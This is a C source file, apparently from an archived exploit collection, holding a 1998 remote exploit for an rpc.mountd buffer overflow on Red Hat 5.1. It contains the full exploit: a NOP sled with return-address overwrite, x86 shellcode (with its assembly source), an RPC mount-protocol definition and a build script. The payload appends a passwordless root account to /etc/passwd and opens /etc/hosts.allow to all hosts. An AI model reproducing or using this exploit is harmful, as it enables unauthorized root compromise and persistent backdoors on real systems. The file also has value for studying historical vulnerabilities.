home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / rpc / linux-mountd.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  18KB  |  687 lines
  1. /*
  2.     rpc.mountd [remote] exploit by LucySoft [ luci@transart.ro ]
  3.  
  4.     [September 20, 1998]
  5.     [version 0.4]
  6.  
  7.     tested on Red Hat Linux 5.1 (Manhattan)
  8.     running nfs-server-2.2beta29
  9.  
  10.     I guess patches are available at ftp://ftp.redhat.com
  11.  
  12.     NOTE: if the remote host has /etc/exporfs non-empty,
  13.     [shwomount -e remote_host]
  14.     you must define __EXPORTS 2 and recompile
  15.  
  16.     I've tested on only two RH 5.1 systems, the offset was about 1000.
  17.  
  18. */
  19.  
  20. #define __EXPORTFS      1
  21.  
  22.  
  23. #include <unistd.h>
  24. #include <stdio.h>
  25. #include <string.h>
  26. #include <errno.h>
  27. #include <netdb.h>
  28. #include <rpc/rpc.h>
  29. #include <rpc/pmap_prot.h>
  30. #include <rpc/pmap_clnt.h>
  31. #include <sys/socket.h>
  32. #include <sys/time.h>
  33. #include <sys/utsname.h>
  34. #include <sys/stat.h>
  35. #include <arpa/inet.h>
  36. #include <linux/nfs.h>
  37.  
  38. #include "nfsmount.h"
  39.  
  40.  
  41.  
  42. static unsigned long            __offset = 1160;
  43.  
  44. /*
  45.    check out code.c if you want to know what this means
  46. */
  47.  
  48. static char code[] =
  49. {
  50.     0xeb, 0x56, 0x5e, 0x56,
  51.     0x56, 0x56, 0x31, 0xd2,
  52.     0x88, 0x56, 0x0b, 0x88,
  53.     0x56, 0x1e, 0x88, 0x56,
  54.  
  55.     0x27, 0x88, 0x56, 0x38,
  56.     0xb2, 0x0a, 0x88, 0x56,
  57.     0x1d, 0x88, 0x56, 0x26,
  58.     0x5b, 0x31, 0xc9, 0x41,
  59.  
  60.     0x41, 0x31, 0xc0, 0xb0,
  61.     0x05, 0xcd, 0x80, 0x50,
  62.     0x89, 0xc3, 0x31, 0xc9,
  63.     0x31, 0xd2, 0xb2, 0x02,
  64.  
  65.     0x31, 0xc0, 0xb0, 0x13,
  66.     0xcd, 0x80, 0x58, 0x89,
  67.     0xc2, 0x89, 0xc3, 0x59,
  68.     0x52, 0x31, 0xd2, 0xb2,
  69.  
  70.     0x0c, 0x01, 0xd1, 0xb2,
  71.     0x13, 0x31, 0xc0, 0xb0,
  72.     0x04, 0x31, 0xd2, 0xb2,
  73.     0x12, 0xcd, 0x80, 0x5b,
  74.  
  75.     0x31, 0xc0, 0xb0, 0x06,
  76.     0xcd, 0x80, 0xeb, 0x3f,
  77.     0xe8, 0xa5, 0xff, 0xff,
  78.     0xff, 0x2f, 0x65, 0x74,
  79.  
  80.     0x63, 0x2f, 0x70, 0x61,
  81.     0x73, 0x73, 0x77, 0x64,
  82.     0x78, 0x7a, 0x3a, 0x3a,
  83.     0x30, 0x3a, 0x30, 0x3a,
  84.  
  85.     0x3a, 0x2f, 0x3a, 0x2f,
  86.     0x62, 0x69, 0x6e, 0x2f,
  87.     0x73, 0x68, 0x78, 0x78,
  88.     0x41, 0x4c, 0x4c, 0x3a,
  89.  
  90.     0x41, 0x4c, 0x4c, 0x78,
  91.     0x78, 0x2f, 0x65, 0x74,
  92.     0x63, 0x2f, 0x68, 0x6f,
  93.     0x73, 0x74, 0x73, 0x2e,
  94.  
  95.     0x61, 0x6c, 0x6c, 0x6f,
  96.     0x77, 0x78, 0xff, 0x5b,
  97.     0x53, 0x31, 0xc9, 0xb1,
  98.     0x28, 0x01, 0xcb, 0xb1,
  99.  
  100.     0x02, 0x31, 0xc0, 0xb0,
  101.     0x05, 0xcd, 0x80, 0x50,
  102.     0x89, 0xc3, 0x31, 0xc9,
  103.     0x31, 0xd2, 0xb2, 0x02,
  104.  
  105.     0x31, 0xc0, 0xb0, 0x13,
  106.     0xcd, 0x80, 0x5b, 0x59,
  107.     0x53, 0x31, 0xd2, 0xb2,
  108.     0x1f, 0x01, 0xd1, 0xb2,
  109.  
  110.     0x08, 0x31, 0xc0, 0xb0,
  111.     0x04, 0xcd, 0x80, 0x5b,
  112.     0x31, 0xc0, 0xb0, 0x06,
  113.     0xcd, 0x80, 0x31, 0xc0,
  114.     0x40, 0xcd, 0x80
  115. };
  116.  
  117.  
  118.  
  119. unsigned long get_esp()
  120. {
  121.    __asm__("movl %esp,%eax");
  122. }
  123.  
  124.  
  125. void _fill_hostile_buffer(char *ptr)
  126. {
  127.     char        *buff;
  128.     unsigned    retaddr = get_esp() + __offset;
  129.     int         length;
  130.  
  131.     memset(ptr, 0x90, 1024);
  132.  
  133.     length = strlen(code);
  134.  
  135.     memcpy(ptr + 1024 - length - 40 - __EXPORTFS, code, length);
  136.     buff = ptr + 1024 - 40 - __EXPORTFS;
  137.  
  138.     while (buff < (ptr + 1024))
  139.     {
  140.         *(unsigned*)buff = (unsigned)retaddr;
  141.         buff += sizeof(unsigned);
  142.     }
  143.     ptr[1023] = '\0';
  144.  
  145.     fprintf(stderr, "code length = %d, used retaddr is %x\n", length,
  146. retaddr);
  147.  
  148. }
  149.  
  150. /*
  151.     ripped off from nfsmount.c [ mount-2.7l.rpm - RH 5.1 ]
  152. */
  153.  
  154.  
  155. int _nfsmount(char* hostname, char *dirname)
  156. {
  157.         CLIENT  *mclient;
  158.         int     mountprog, mountvers;
  159.         int     nfsprog, nfsvers;
  160.         int     mountport = 0;
  161.         int     clnt_stat;
  162.         int     msock, fsock;
  163.  
  164.         struct  hostent *hp;
  165.         struct  sockaddr_in server_addr;
  166.         struct  fhstatus status;
  167.         struct  timeval total_timeout, retry_timeout;
  168.  
  169.  
  170.  
  171.         if (!(hp = gethostbyname(hostname)))
  172.         {
  173.             fprintf(stderr, "mx: can't get address for %s\n", hostname);
  174.             return(-1);
  175.         }
  176.  
  177.  
  178.         server_addr.sin_family = AF_INET;
  179.         memcpy(&server_addr.sin_addr, hp->h_addr, hp->h_length);
  180.  
  181.         mountprog = MOUNTPROG;
  182.         mountvers = MOUNTVERS;
  183.  
  184.         nfsprog = NFS_PROGRAM;
  185.         nfsvers = NFS_VERSION;
  186.  
  187.         total_timeout.tv_usec = 0;
  188.         total_timeout.tv_sec = 20;
  189.  
  190.         retry_timeout.tv_usec = 0;
  191.         retry_timeout.tv_sec = 3;
  192.  
  193.         server_addr.sin_port = htons(mountport);
  194.         msock = RPC_ANYSOCK;
  195.  
  196.         fprintf(stderr, "ok, attacking target %s\n", hp->h_name);
  197.  
  198.         mclient = clntudp_create(&server_addr,
  199.             mountprog, mountvers,
  200.             retry_timeout, &msock);
  201.  
  202.         if (mclient)
  203.         {
  204.             mclient->cl_auth = authunix_create_default();
  205.             clnt_stat = clnt_call(mclient, MOUNTPROC_MNT,
  206.                 (xdrproc_t) xdr_dirpath, (caddr_t) &dirname,
  207.                 (xdrproc_t) xdr_fhstatus, (caddr_t) &status,
  208.                 total_timeout);
  209.  
  210.             if (clnt_stat != RPC_SUCCESS)
  211.             {
  212.                 /*
  213.  
  214.                 auth_destroy(mclient->cl_auth);
  215.                 clnt_destroy(mclient);
  216.                 close(msock);
  217.  
  218.                 clnt_perror(mclient, "mx clnt_call");
  219.                 */
  220.                 return(msock);
  221.             }
  222.             fprintf(stderr, "successful clnt_call\n");
  223.             return(msock);
  224.         }
  225.         else
  226.         {
  227.             clnt_pcreateerror("mx clntudp_create");
  228.             return(-1);
  229.         }
  230.  
  231.  
  232.         auth_destroy(mclient->cl_auth);
  233.         clnt_destroy(mclient);
  234.         close(msock);
  235.         return (-1);
  236. }
  237.  
  238.  
  239. int main(int argc, char *argv[])
  240. {
  241.     int         k, sock;
  242.     char        hostilebuffer[4096];
  243.  
  244.  
  245.     if (argc < 2)
  246.     {
  247.         fprintf(stderr, "usage : %s target_host [offset]\n", argv[0]);
  248.         return(-1);
  249.     }
  250.  
  251.     if (argc == 3)
  252.     {
  253.         __offset = strtol(argv[2], (char**)NULL, 10);
  254.         fprintf(stderr, "using offset %d\n", __offset);
  255.     }
  256.  
  257.     _fill_hostile_buffer(hostilebuffer);
  258.     if (_nfsmount(argv[1], hostilebuffer) > 0)
  259.     {
  260.         fprintf(stderr, "seems that security on host %s was defeated\n",
  261.             argv[1]);
  262.     }
  263.  
  264.     return(0);
  265. }
  266.  
  267.  
  268. -------------------------------------------------------------------------
  269. CUT_HERE next file is nfsmount.x
  270. -------------------------------------------------------------------------
  271.  
  272. %/*
  273. % * Sun RPC is a product of Sun Microsystems, Inc. and is provided for
  274. % * unrestricted use provided that this legend is included on all tape
  275. % * media and as a part of the software program in whole or part.  Users
  276. % * may copy or modify Sun RPC without charge, but are not authorized
  277. % * to license or distribute it to anyone else except as part of a product
  278. or
  279. % * program developed by the user or with the express written consent of
  280. % * Sun Microsystems, Inc.
  281. % *
  282. % * SUN RPC IS PROVIDED AS IS WITH NO WARRANTIES OF ANY KIND INCLUDING THE
  283. % * WARRANTIES OF DESIGN, MERCHANTIBILITY AND FITNESS FOR A PARTICULAR
  284. % * PURPOSE, OR ARISING FROM A COURSE OF DEALING, USAGE OR TRADE PRACTICE.
  285. % *
  286. % * Sun RPC is provided with no support and without any obligation on the
  287. % * part of Sun Microsystems, Inc. to assist in its use, correction,
  288. % * modification or enhancement.
  289. % *
  290. % * SUN MICROSYSTEMS, INC. SHALL HAVE NO LIABILITY WITH RESPECT TO THE
  291. % * INFRINGEMENT OF COPYRIGHTS, TRADE SECRETS OR ANY PATENTS BY SUN RPC
  292. % * OR ANY PART THEREOF.
  293. % *
  294. % * In no event will Sun Microsystems, Inc. be liable for any lost revenue
  295. % * or profits or other special, indirect and consequential damages, even
  296. if
  297. % * Sun has been advised of the possibility of such damages.
  298. % *
  299. % * Sun Microsystems, Inc.
  300. % * 2550 Garcia Avenue
  301. % * Mountain View, California  94043
  302. % */
  303.  
  304. %/*
  305. % * Copyright (c) 1985, 1990 by Sun Microsystems, Inc.
  306. % */
  307. %
  308. %/* from @(#)mount.x    1.3 91/03/11 TIRPC 1.0 */
  309.  
  310. /*
  311.  * Protocol description for the mount program
  312.  */
  313.  
  314. #ifdef RPC_HDR
  315. %#ifndef _rpcsvc_mount_h
  316. %#define _rpcsvc_mount_h
  317. #endif
  318.  
  319. #ifdef RPC_CLNT
  320. %#include <string.h>            /* for memset() */
  321. #endif
  322.  
  323. const MNTPATHLEN = 1024;        /* maximum bytes in a pathname argument */
  324. const MNTNAMLEN = 255;          /* maximum bytes in a name argument */
  325. const FHSIZE = 32;              /* size in bytes of a file handle */
  326.  
  327. /*
  328.  * The fhandle is the file handle that the server passes to the client.
  329.  * All file operations are done using the file handles to refer to a file
  330.  * or a directory. The file handle can contain whatever information the
  331.  * server needs to distinguish an individual file.
  332.  */
  333. typedef opaque fhandle[FHSIZE];
  334.  
  335. /*
  336.  * If a status of zero is returned, the call completed successfully, and
  337.  * a file handle for the directory follows. A non-zero status indicates
  338.  * some sort of error. The status corresponds with UNIX error numbers.
  339.  */
  340. union fhstatus switch (unsigned fhs_status) {
  341. case 0:
  342.         fhandle fhs_fhandle;
  343. default:
  344.         void;
  345. };
  346.  
  347. /*
  348.  * The type dirpath is the pathname of a directory
  349.  */
  350. typedef string dirpath<MNTPATHLEN>;
  351.  
  352. /*
  353.  * The type name is used for arbitrary names (hostnames, groupnames)
  354.  */
  355. typedef string name<MNTNAMLEN>;
  356.  
  357. /*
  358.  * A list of who has what mounted
  359.  */
  360. typedef struct mountbody *mountlist;
  361. struct mountbody {
  362.         name ml_hostname;
  363.         dirpath ml_directory;
  364.         mountlist ml_next;
  365. };
  366.  
  367. /*
  368.  * A list of netgroups
  369.  */
  370. typedef struct groupnode *groups;
  371. struct groupnode {
  372.         name gr_name;
  373.         groups gr_next;
  374. };
  375.  
  376. /*
  377.  * A list of what is exported and to whom
  378.  */
  379. typedef struct exportnode *exports;
  380. struct exportnode {
  381.         dirpath ex_dir;
  382.         groups ex_groups;
  383.         exports ex_next;
  384. };
  385.  
  386. /*
  387.  * POSIX pathconf information
  388.  */
  389. struct ppathcnf {
  390.         int     pc_link_max;    /* max links allowed */
  391.         short   pc_max_canon;   /* max line len for a tty */
  392.         short   pc_max_input;   /* input a tty can eat all at once */
  393.         short   pc_name_max;    /* max file name length (dir entry) */
  394.         short   pc_path_max;    /* max path name length (/x/y/x/.. ) */
  395.         short   pc_pipe_buf;    /* size of a pipe (bytes) */
  396.         u_char  pc_vdisable;    /* safe char to turn off c_cc[i] */
  397.         char    pc_xxx;         /* alignment padding; cc_t == char */
  398.         short   pc_mask[2];     /* validity and boolean bits */
  399. };
  400.  
  401. program MOUNTPROG {
  402.         /*
  403.          * Version one of the mount protocol communicates with version two
  404.          * of the NFS protocol. The only connecting point is the fhandle
  405.          * structure, which is the same for both protocols.
  406.          */
  407.         version MOUNTVERS {
  408.                 /*
  409.                  * Does no work. It is made available in all RPC services
  410.                  * to allow server reponse testing and timing
  411.                  */
  412.                 void
  413.                 MOUNTPROC_NULL(void) = 0;
  414.  
  415.                 /*
  416.                  * If fhs_status is 0, then fhs_fhandle contains the
  417.                  * file handle for the directory. This file handle may
  418.                  * be used in the NFS protocol. This procedure also adds
  419.                  * a new entry to the mount list for this client mounting
  420.                  * the directory.
  421.                  * Unix authentication required.
  422.                  */
  423.                 fhstatus
  424.                 MOUNTPROC_MNT(dirpath) = 1;
  425.  
  426.                 /*
  427.                  * Returns the list of remotely mounted filesystems. The
  428.                  * mountlist contains one entry for each hostname and
  429.                  * directory pair.
  430.                  */
  431.                 mountlist
  432.                 MOUNTPROC_DUMP(void) = 2;
  433.  
  434.                 /*
  435.                  * Removes the mount list entry for the directory
  436.                  * Unix authentication required.
  437.                  */
  438.                 void
  439.                 MOUNTPROC_UMNT(dirpath) = 3;
  440.  
  441.                 /*
  442.                  * Removes all of the mount list entries for this client
  443.                  * Unix authentication required.
  444.                  */
  445.                 void
  446.                 MOUNTPROC_UMNTALL(void) = 4;
  447.  
  448.                 /*
  449.                  * Returns a list of all the exported filesystems, and
  450. which
  451.                  * machines are allowed to import it.
  452.                  */
  453.                 exports
  454.                 MOUNTPROC_EXPORT(void)  = 5;
  455.  
  456.                 /*
  457.                  * Identical to MOUNTPROC_EXPORT above
  458.                  */
  459.                 exports
  460.                 MOUNTPROC_EXPORTALL(void) = 6;
  461.         } = 1;
  462.  
  463.         /*
  464.          * Version two of the mount protocol communicates with version two
  465.          * of the NFS protocol.
  466.          * The only difference from version one is the addition of a POSIX
  467.          * pathconf call.
  468.          */
  469.         version MOUNTVERS_POSIX {
  470.                 /*
  471.                  * Does no work. It is made available in all RPC services
  472.                  * to allow server reponse testing and timing
  473.                  */
  474.                 void
  475.                 MOUNTPROC_NULL(void) = 0;
  476.  
  477.                 /*
  478.                  * If fhs_status is 0, then fhs_fhandle contains the
  479.                  * file handle for the directory. This file handle may
  480.                  * be used in the NFS protocol. This procedure also adds
  481.                  * a new entry to the mount list for this client mounting
  482.                  * the directory.
  483.                  * Unix authentication required.
  484.                  */
  485.                 fhstatus
  486.                 MOUNTPROC_MNT(dirpath) = 1;
  487.  
  488.                 /*
  489.                  * Returns the list of remotely mounted filesystems. The
  490.                  * mountlist contains one entry for each hostname and
  491.                  * directory pair.
  492.                  */
  493.                 mountlist
  494.                 MOUNTPROC_DUMP(void) = 2;
  495.  
  496.                 /*
  497.                  * Removes the mount list entry for the directory
  498.                  * Unix authentication required.
  499.                  */
  500.                 void
  501.                 MOUNTPROC_UMNT(dirpath) = 3;
  502.  
  503.                 /*
  504.                  * Removes all of the mount list entries for this client
  505.                  * Unix authentication required.
  506.                  */
  507.                 void
  508.                 MOUNTPROC_UMNTALL(void) = 4;
  509.  
  510.                 /*
  511.                  * Returns a list of all the exported filesystems, and
  512. which
  513.                  * machines are allowed to import it.
  514.                  */
  515.                 exports
  516.                 MOUNTPROC_EXPORT(void)  = 5;
  517.  
  518.                 /*
  519.                  * Identical to MOUNTPROC_EXPORT above
  520.                  */
  521.                 exports
  522.                 MOUNTPROC_EXPORTALL(void) = 6;
  523.  
  524.                 /*
  525.                  * POSIX pathconf info (Sun hack)
  526.                  */
  527.                 ppathcnf
  528.                 MOUNTPROC_PATHCONF(dirpath) = 7;
  529.         } = 2;
  530. } = 100005;
  531.  
  532. #ifdef RPC_HDR
  533. %#endif /*!_rpcsvc_mount_h*/
  534. #endif
  535.  
  536.  
  537. ------------------------------------------------------------------------
  538. CUT_HERE : next file is makeit [ script for building the stuff ]
  539. ------------------------------------------------------------------------
  540.  
  541. #!/bin/bash
  542.  
  543. rpcgen -C nfsmount.x
  544. gcc -c -g nfsmount.c
  545. gcc -o mx nfsmount.o nfsmount_xdr.c
  546.  
  547. ---------------------------------------------------------------------------
  548. CUT_HERE : next file is the asm code... just to have the entire source
  549. code
  550. ---------------------------------------------------------------------------
  551.  
  552. /*
  553.  
  554.   really ugly code. It does :
  555.  
  556.   int fd = open("/etc/passwd", O_RDWR);
  557.   lseek(fd, 0, SEEK_END);
  558.   write(fd, "z::0:0::/:/bin/sh\n", 18);
  559.   close(fd);
  560.  
  561.   int fd = open("/etc/hosts.allow", O_RDWR);
  562.   lseek(fd, 0, SEEK_END);
  563.   write(fd, "ALL:ALL\n", 8);
  564.   close(fd);
  565.  
  566.   exit(?);
  567.  
  568. */
  569.  
  570. #include <stdio.h>
  571.  
  572. main()
  573. {
  574.     __asm__("jmp eofcode
  575.             here:
  576.             popl %esi
  577.             pushl %esi
  578.             pushl %esi
  579.             pushl %esi
  580.  
  581.             xorl %edx, %edx
  582.             movb %dl, 11(%esi)
  583.             movb %dl, 30(%esi)
  584.             movb %dl, 39(%esi)
  585.             movb %dl, 56(%esi)
  586.             movb $0x0a, %dl
  587.             movb %dl, 29(%esi)
  588.             movb %dl, 38(%esi)
  589.             popl %ebx
  590.             xorl %ecx, %ecx
  591.             incl %ecx
  592.             incl %ecx
  593.             xor %eax, %eax
  594.             movb $0x05, %al
  595.             int  $0x80
  596.  
  597.             pushl %eax
  598.  
  599.             movl %eax, %ebx
  600.             xorl %ecx, %ecx
  601.             xorl %edx, %edx
  602.             movb $0x02, %dl
  603.             xorl %eax, %eax
  604.             movb $0x13, %al
  605.             int  $0x80
  606.  
  607.             popl %eax
  608.  
  609.             movl %eax, %edx
  610.             movl %eax, %ebx
  611.             popl %ecx
  612.             pushl %edx
  613.             xorl %edx, %edx
  614.             movb $0x0c, %dl
  615.             addl %edx, %ecx
  616.             movb $0x13, %dl
  617.             xorl %eax, %eax
  618.             movb $0x04, %al
  619.             xorl %edx, %edx
  620.             movb $0x12, %dl
  621.             int  $0x80
  622.  
  623.             popl %ebx
  624.             xorl %eax, %eax
  625.             movb $0x06, %al
  626.             int  $0x80
  627.  
  628.             jmp  cont1
  629.  
  630.  
  631.             eofcode:
  632.             call here
  633.             .string
  634. \"/etc/passwdxz::0:0::/:/bin/shxxALL:ALLxx/etc/hosts.allowx\"
  635.  
  636.             cont1:
  637.  
  638.             popl %ebx
  639.             pushl %ebx
  640.             xorl %ecx, %ecx
  641.             movb $40, %cl
  642.             addl %ecx, %ebx
  643.             movb $02, %cl
  644.             xor  %eax, %eax
  645.             movb $05, %al
  646.             int  $0x80
  647.  
  648.  
  649.             pushl %eax
  650.  
  651.             movl %eax, %ebx
  652.             xorl %ecx, %ecx
  653.             xorl %edx, %edx
  654.             movb $0x02, %dl
  655.             xorl %eax, %eax
  656.             movb $0x13, %al
  657.             int  $0x80
  658.  
  659.             popl %ebx
  660.  
  661.             popl %ecx
  662.  
  663.             pushl %ebx
  664.  
  665.             xorl %edx, %edx
  666.             movb $31, %dl
  667.             addl %edx, %ecx
  668.             movb $8, %dl
  669.             xorl %eax, %eax
  670.             movb $4, %al
  671.             int  $0x80
  672.  
  673.  
  674.             popl %ebx
  675.             xorl %eax, %eax
  676.             movb $0x06, %al
  677.             int  $0x80
  678.  
  679.             xor  %eax, %eax
  680.             incl %eax
  681.             int  $0x80
  682.  
  683.             .string \"theeeeeeeeeeend\"
  684.             ");
  685.  
  686. }
  687.